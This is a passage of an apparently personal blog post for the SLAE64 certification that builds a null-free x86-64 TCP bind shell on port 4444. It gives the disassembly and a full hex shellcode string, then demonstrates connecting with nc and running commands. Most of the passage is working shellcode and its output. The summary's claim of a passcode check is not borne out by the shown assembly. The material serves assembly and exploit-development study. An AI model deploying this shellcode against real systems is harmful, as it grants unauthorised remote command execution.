4000ce: 0f 05 syscall
4000d0: 48 31 c0 xor rax,rax
4000d3: 48 83 c0 2b add rax,0x2b
4000d7: 48 83 ec 10 sub rsp,0x10
4000db: 48 89 e6 mov rsi,rsp
4000de: c6 44 24 ff 10 mov BYTE PTR [rsp-0x1],0x10
4000e3: 48 83 ec 01 sub rsp,0x1
4000e7: 48 89 e2 mov rdx,rsp
4000ea: 0f 05 syscall
4000ec: 49 89 c1 mov r9,rax
4000ef: 48 31 c0 xor rax,rax
4000f2: 48 83 c0 03 add rax,0x3
4000f6: 0f 05 syscall
4000f8: 4c 89 cf mov rdi,r9
4000fb: 48 31 c0 xor rax,rax
4000fe: 48 83 c0 21 add rax,0x21
400102: 48 31 f6 xor rsi,rsi
400105: 0f 05 syscall
400107: 48 31 c0 xor rax,rax
40010a: 48 83 c0 21 add rax,0x21
40010e: 48 31 f6 xor rsi,rsi
400111: 48 83 c6 01 add rsi,0x1
400115: 0f 05 syscall
400117: 48 31 c0 xor rax,rax
40011a: 48 83 c0 21 add rax,0x21
40011e: 48 31 f6 xor rsi,rsi
400121: 48 83 c6 02 add rsi,0x2
400125: 0f 05 syscall
400127: 48 31 c0 xor rax,rax
40012a: 50 push rax
40012b: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
400132: 2f 73 68
400135: 53 push rbx
400136: 48 89 e7 mov rdi,rsp
400139: 50 push rax
40013a: 48 89 e2 mov rdx,rsp
40013d: 57 push rdi
40013e: 48 89 e6 mov rsi,rsp
400141: 48 83 c0 3b add rax,0x3b
400145: 0f 05 syscall
The updated bind shellcode can be seen below in one line:
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ objdump -d ./bind-shellcode-course |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x83\xc0\x31\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x83\xec\x10\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\x83\xec\x01\x48\x89\xe2\x0f\x05\x49\x89\xc1\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x4c\x89\xcf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
Also, in order to prove the functionality of the bind shell we execute in one terminal window the bind executable and in another we execute nc
to connect to port 4444
.
1st window:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./bind-shellcode-course
2nd window:
1
2
3
4
5
6
7
8
9
10
11
12
13
geobour98@slae64-dev:~$ nc localhost 4444
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind-c
bind-c.c
bind-shellcode-course
bind-shellcode-course.nasm
bind-shellcode-course.o
bindshell
bindshell.nasm
bindshell.o
compile.sh
Summary
We have a working TCP Bind Shell that binds on port 4444, waits for the correct passcode and if we provide the correct one, we can execute commands. Also, the nullbytes have been removed from the Bind Shellcode of the course.
Next will be the TCP Reverse Shell!
SLAE64 Blog Post
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=7
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: PA-36167